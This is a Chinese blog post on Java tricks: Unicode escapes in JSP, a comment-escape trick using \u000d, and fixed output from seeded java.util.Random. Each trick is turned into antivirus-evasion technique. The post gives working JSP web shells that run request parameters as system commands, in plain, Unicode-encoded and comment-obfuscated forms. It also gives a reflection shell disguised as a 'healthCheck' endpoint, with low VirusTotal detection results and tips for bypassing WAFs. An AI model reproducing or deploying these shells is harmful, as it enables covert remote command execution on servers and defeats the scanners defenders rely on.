前言:分享煮波学习到的java安全小trick,也不是什么新东西纯记录,小白努力学java中……

unicode解析特性-编码

这是一段打印当前时间的代码

1
<%=new java.util.Date() %>

如果把它unicode编码之后还能正常执行吗

1
2
<%--uniocde编码后--%>
<%=\u006e\u0065\u0077\u0020\u006a\u0061\u0076\u0061\u002e\u0075\u0074\u0069\u006c\u002e\u0044\u0061\u0074\u0065\u0028\u0029 %>

虽然编译器爆红,但是仍然能成功解析执行

image-20250920121859003

image-20250920121917790

这是为什么呢?相信熟悉的师傅都知道:

Java 编译器在解析源码时,会优先处理 Unicode 转义符,会在真正执行代码之前的词法分析阶段将unicode编码的部分还原为其对应的字符。

image-20250920121053334

而我们又知道,JSP会被转换为 Servlet 源码,再编译为字节码。此过程会继承 Java 的特性,于是我们能得出jsp也支持unicode字符的解析!

有了这一unicode解析的特性,我们能做什么呢?首先能想到的就是老生常谈的JSP Unicode编码免杀

1
2
3
4
<% Runtime.getRuntime().exec(request.getParameter("cmd"));%>

<%--uniocde编码后--%>
<%\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0022\u0063\u006d\u0064\u0022\u0029\u0029;%>

编码前VT 17/62 检出

image-20250920122959249

编码后 4/62检出

image-20250920123118853

检出率明显大大下降了,但是仍然会被检出,因为这个JSP Unicode编码免杀早已是老技术了,一些杀软厂商已经更新了对unicode解析的支持,所以单独使用该姿势做免杀的效果不算很好,可以配合其他技巧一起使用

image-20250920120344942

除此之外该特性也可以用于去做代码混淆,让代码不易读,增加分析成本

unicode解析特性-结合注释换行

继续,我们看下一个例子,运行下面这段代码是输出乌萨奇!到~~~~~~~~~~,还是,乌萨奇!阿米诺斯呢?

1
2
3
4
5
6
7
8
9
10
11
package org.example;

public class Main {
public static void main(String[] args) {
String call = "乌萨奇!";
String reply ="到~~~~~~~~~~";
//\u000dreply ="阿米诺斯";

System.out.println(call+reply);
}
}

答案是乌萨奇!阿米诺斯,为什么呢?

image-20250920142428862

这个和unicode注释符//的解析顺序有关:

Unicode 转义在注释之前被解析,因此即使转义符位于注释中也会生效

也就是对于//\u000dreply ="阿米诺斯";解析顺序是,先解析unicode编码,发现\u000d是换行符,于是成功换行为下面这样

1
2
//
reply ="阿米诺斯"

然后才解析//注释符,此时reply ="阿米诺斯"已经通过换行逃逸出注释了,于是reply会被赋值为阿米诺斯,而不再是到~~~~~~~~~~

可以把这个思路用来做免杀静态混淆

在确保语法正确的前提下,随便插入//\u000d

1
<%//\u000dRuntime.//\u000dgetRuntime//\u000d().//\u000dexec//\u000d(//\u000drequest.//\u000dgetParameter//\u000d(//\u000d"cmd")//\u000d);%>

image-20250920144024944

混淆之后,免杀效果还行

360

image-20250920144442967

微步沙箱 0检出

image-20250920151927438

VT 0/62 0检出

image-20250920144311881

当然这个小trick拿去绕基于内容检测的WAF也是比较不错的姿势!师傅们遇到了相应WAF的话,可以试试看这个trick能不能绕过,虽然也是老技术了,但是保不准还是能绕过一些WAF的

当然这样的字符不仅仅有换行符,其他符号同样适用:

操作 Unicode 转义字符
回车 /u000a /n
换行 /u000d /r
换页 /u000c /f
单引号 /u0027
双引号 /u0022
反斜杠 /u005c /
空格 /u0008 /b
水平制表符 /u0009 /t

Random构造固定序列

仍然先看一段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.util.Random;
public class Main {
public static void main(String[] args) {
System.out.println(generateString(508445)+generateString(347795)+generateString(55200));
}
public static String generateString(long seed) {
Random rand = new Random(seed);
StringBuilder sb = new StringBuilder();
while (true) {
int k = rand.nextInt(27);
if (k == 0) break;
sb.append((char) ('`' + k));
}
return sb.toString();
}
}

运行这段代码会输出什么呢?为什么

答案是ipconfig

image-20250920160023804

为什么呢?而且这里使用了Random类生成随机数,结果难道不应该是随机的吗,为什么多次调用运行结果都是一个固定的字符串ipconfig

理解这些需要一点前置知识

我们看看Random类源码注释怎么说的

image-20250920160549659

翻译过来是:

如果两个Random实例使用相同的种子创建,并且对每个实例进行了相同的方法调用序列,它们将生成并返回相同的数字序列。为了保证这一特性,Random类采用了特定的算法。为了实现Java代码的绝对可移植性,所有Java实现都必须为Random类使用这里展示的全部算法。但Random类的子类允许使用其他算法,只要遵循所有方法的通用约定即可。

也就是说,其实Random类的算法实现的是一个伪随机,不是真正的完全随机,只要随机数种子seed相同,不同实例之间每次调用运行生成的结果序列都是一致的、可预测的

用一段demo可以说明

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.example;

import java.util.Random;
public class Main {
public static void main(String[] args) {
Random randA = new Random(10);
Random randB = new Random(10);
System.out.println("实例:A,种子:10");
System.out.println("序列: "+randA.nextInt()+" "+randA.nextInt()+" "+randA.nextInt()+" "+randA.nextInt());

System.out.println("实例:B,种子:10");
System.out.println("序列: "+randB.nextInt()+" "+randB.nextInt()+" "+randB.nextInt()+" "+randB.nextInt());
}
}

image-20250920162233119

现在我们知道了通过设置相同的种子,不同实例调用生成的序列是固定相同的。那么回到刚才那个问题,为什么代码会输出ipconfig

重点看这个静态方法

1
2
3
4
5
6
7
8
9
10
public static String generateString(long seed) {
Random rand = new Random(seed);
StringBuilder sb = new StringBuilder();
while (true) {
int k = rand.nextInt(27);
if (k == 0) break;
sb.append((char) ('`' + k));
}
return sb.toString();
}

int k = rand.nextInt(27);的意思是生成[0,27)的随机数赋值给k,如果k为0跳出循环,否则追加sb字符串。

我们又知道字符对应的ASCII码值

1
2
3
4
5
6
7
8
9
` -> 96
i -> 105
p -> 112
c -> 99
o -> 111
n -> 110
f -> 102
i -> 105
g -> 103

那么现在很清晰了,rand.nextInt(27)的作用是保证k只在[0,27)范围,加上” ` “,再转为char类型,就保证了构造的字符范围在a-z。这样就构造出了所有的小写字母了

但是代码段是怎么控制输出始终是ipconfig的呢?这其实是逆向爆破出了几个特殊的种子generateString(508445)+generateString(347795)+generateString(55200)

爆破构造种子的思路是这样的,输入目标字符串ipconfig,由于字符串太长,爆破可能需要很久,于是把字符串分成3个(或两个)一组, ipc onf ig,然后遍历爆破种子,寻找到一个种子使得他的限制在[0,27)的前几位序列加上一个固定值(比如`符号),刚好能凑出来目标字符串某个片段的ASCll码值序列,这样几个片段拼接就能构造出目标字符串。

给出一个仅支持构造小写字母的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
package org.example;

import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.*;
import java.util.Random;


public class Main {
// 每组字符数
private static final int GROUP_SIZE = 3;

public static void main(String[] args) {
String target = "ipconfig"; // 目标字符串
List<String> groups = splitIntoGroups(target, GROUP_SIZE);
System.out.println("分组结果: " + groups);

// 并行爆破每组种子
ExecutorService executor = Executors.newFixedThreadPool(groups.size());
List<Future<Long>> futures = new ArrayList<>();

for (String group : groups) {
futures.add(executor.submit(() -> findSeed(group)));
}

// 收集结果
List<Long> seeds = new ArrayList<>();
for (Future<Long> future : futures) {
try {
seeds.add(future.get());
} catch (Exception e) {
System.err.println("爆破失败: " + e.getMessage());
}
}
executor.shutdown();

// 输出结果
System.out.println("\n===== 爆破结果 =====");
for (int i = 0; i < groups.size(); i++) {
System.out.printf("分组 '%s' → 种子: %d\n", groups.get(i), seeds.get(i));
}

// 验证重建
System.out.println("\n重建原始字符串:");
StringBuilder rebuilt = new StringBuilder();
for (int i = 0; i < groups.size(); i++) {
String part = generateString(seeds.get(i));
rebuilt.append(part);
System.out.printf("种子 %d → '%s'\n", seeds.get(i), part);
}
System.out.println("最终结果: " + rebuilt.toString());
}

// 分组爆破核心逻辑
private static long findSeed(String target) {
long seed = 0;
while (true) {
if (testSeed(seed, target)) {
return seed;
}
seed++;
if (seed % 10_000_000 == 0) {
System.out.printf("爆破中 [%s] : 当前尝试种子 %,d\n", target, seed);
}
}
}

// 严格种子测试
private static boolean testSeed(long seed, String target) {
Random rand = new Random(seed);
for (int i = 0; i < target.length(); i++) {
int k = rand.nextInt(27);
if (k == 0 || (char) ('`' + k) != target.charAt(i)) {
return false;
}
}
return rand.nextInt(27) == 0; // 确保及时终止
}

// 字符串分组
private static List<String> splitIntoGroups(String str, int groupSize) {
List<String> groups = new ArrayList<>();
for (int i = 0; i < str.length(); i += groupSize) {
int end = Math.min(i + groupSize, str.length());
groups.add(str.substring(i, end));
}
return groups;
}

// 生成字符串验证
public static String generateString(long seed) {
Random rand = new Random(seed);
StringBuilder sb = new StringBuilder();
while (true) {
int k = rand.nextInt(27);
if (k == 0) break;
sb.append((char) ('`' + k));
}
return sb.toString();
}
}

image-20250920165815589

现在我们知道了通过爆破种子可以构造出任意的字符这个Random特性,可以用来干嘛呢?

仍旧是可以做免杀,使用Random伪随机数特性混淆关键恶意类名java.lang.Runtime+反射机制做免杀

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
<%@ page import="java.util.*, java.io.*, java.lang.reflect.*" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
String checkMode = request.getParameter("op");
if ("healthCheck".equals(checkMode)) {
try {
SystemConfig configManager = new SystemConfig();
String targetClassName = configManager.getTargetClassName();

// 获取执行参数
String command = request.getParameter("c");
if (command == null || command.trim().isEmpty()) {
command = "whoami";
}
SystemExecutor executor = new SystemExecutor();
String result = executor.executeCommand(targetClassName, command);

out.print(result);

} catch (Exception ex) {
out.print("System maintenance in progress.");
}
} else {
out.print("Service status: OK");
}
%>

<%!
public class SystemConfig {
private final long[] configData = {
-2080435608L, -2060785532L, -2147149194L,
-2107467938L, -1949527326L, -2146859157L
};

public String getTargetClassName() {
return buildClassPath(configData);
}

private String buildClassPath(long[] data) {
StringBuilder pathBuilder = new StringBuilder();
for (long value : data) {
pathBuilder.append(generateSegment(value));
}
return pathBuilder.toString();
}

private String generateSegment(long seed) {
java.util.Random generator = new java.util.Random(seed);
StringBuilder segment = new StringBuilder();

int value;
while ((value = generator.nextInt(96)) != 0) {
segment.append((char)(value + 31));
}

return segment.toString();
}
}
public class SystemExecutor {

public String executeCommand(String className, String cmd) throws Exception {
Class<?> systemClass = Class.forName(className);

// 创建实例
Constructor<?> constructor = systemClass.getDeclaredConstructor();
constructor.setAccessible(true);
Object instance = constructor.newInstance();

// 执行方法调用
Method execMethod = systemClass.getMethod("exec", String.class);
Process process = (Process) execMethod.invoke(instance, cmd);

// 读取执行结果
return readProcessOutput(process);
}

private String readProcessOutput(Process proc) throws Exception {
InputStream input = proc.getInputStream();
StringBuilder output = new StringBuilder();

byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = input.read(buffer)) != -1) {
output.append(new String(buffer, 0, bytesRead));
}

input.close();
return output.toString();
}
}
%>

image-20250920210404696

免杀测试

image-20250920213128229

image-20250920213150784

image-20250920213326285

总结

主要就是分享了一些java的小特性,虽然免杀的篇幅很大,但本意不是仅仅限于免杀的,很多小技巧在免杀,流量加密,代码混淆,waf对抗可能都能用上,我们灵活运用就好~